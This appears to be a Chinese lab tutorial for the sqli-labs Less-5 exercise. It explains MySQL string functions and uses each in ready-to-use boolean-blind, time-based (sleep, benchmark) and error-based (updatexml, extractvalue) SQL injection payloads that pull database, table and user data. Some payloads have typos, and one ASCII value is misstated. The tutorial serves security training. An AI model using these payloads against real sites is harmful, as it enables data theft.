LEFT()函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。
LEFT(str,length);如果str或length参数为NULL,则返回NULL值。
str是要提取子字符串的字符串
length是一个正整数,指定将从左边返回的字符数
代码示例:
如果length为0或为负,则LEFT函数返回一个空字符串
如果length大于str字符串的长度,则LEFT函数返回整个str字符串
利用left(database(),1)进行尝试
https://192.168.11.136/sqli-labs/Less-5?id=1' and left(version(),1)=5--+
查看一下version(),数据库的版本号为5.3,这里的这句话的意思是看看版本号的第一位是否是5,很明显返回的结果是正确的。
length功能介绍:
返回字符串str的长度,以字节为单位。一个多字节字符算作多字节。
在mysql内置函数里面查看字符串长度的还有一个函数是char_length,两个函数的区别是:
length: 一个汉字是算三个字符,一个数字或字母算一个字符。
char_length: 不管汉字还是数字或者是字母都算是一个字符。
这意味着,对于包含五个两字节字符的字符串,LENGTH() 返回10, 而 CHAR_LENGTH() 返回 5
判断错误时的表现
判断正确,确定数据库长度是8
判断正确,确定数据库名的第一个字符是S
可以使用这种方法,依次才蔡姐数据库名的各个字符是什么
(1)SBUSTR(str,pos); 就是从pos开始的位置,一直截取到最后。
SUBSTR(str,pos,len);表示从pos开始的位置,截取len个字符(空白也算字符)。
(2)另外一个函数ascii()功能如下
根据获取的数据库的名称为security,那么继续猜测security数据库下面的表信息:
测试语句
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))>100--+判断正确
判断错误
推测该数据库的第一个表的第一个字符为“e”对应ASCII码为100
按照这种方法,依次来猜测数据库的第一个表名所对应字符的各个ASCII值是多少
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>101--+
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))>101--+
(1)函数ord( )功能:返回字符串str的最左面字符的ASCII代码值。
(2)函数mid( )功能
MID() 函数用于得到一个字符串的一部分。
这个函数被MySQL支持,但不被MS SQL Server和Oracle支持。在SQL Server, Oracle 数据库中,我们可以使用 SQL SUBSTRING函数或者 SQL SUBSTR函数作为替代。
(3)函数cast()和convert()功能
MySQL 的CAST()和CONVERT()函数可用来获取一个类型的值,并产生另一个类型的值。
可以转换的类型是有限制的。这个类型可以是以下值其中的一个:
代码示例:
(4)函数ifnull( )功能
形式是IFNULL(A,B),意义是当字段A是NULL时取B,不是NULL时取A的值。
id=1' and ord(mid((selectIFNULL(cast(username aschar),0x20) from security.users orderbyidlimit0,1),1,1))=68--+获取user表中username中第一行的第一个字符的ascii,之后再将该ascii与我们所猜测字符对应的ascii值进行对比,从而即可得出这一个表中该字段的第一个字符。(如果查询出的结果是空值,应当转换成空字符串)
(1)利用sleep()函数注入
id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+当错误的时候会有5秒的时间延迟。
(2)利用benchmark()函数注入
id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3FROM (selectdatabase() ascurrent) as tb1--+当结果正确的时候,运行encode('MSG',‘by 5 second’)操作500000000次,会占用一定的时间。
(1)updatexml()函数功能
作用:改变文档中符合条件的节点的值
UPDATEXML (XML_document, XPath_string, new_value);第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
(2)CONCAT(str1,str2,…)函数功能
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
渗透语句
id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+(3)extractvalue()函数功能
extractvalue() :对XML文档进行查询的函数
其实就是相当于HTML文件中用
语法:extractvalue(目标xml文档,xml路径)
id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+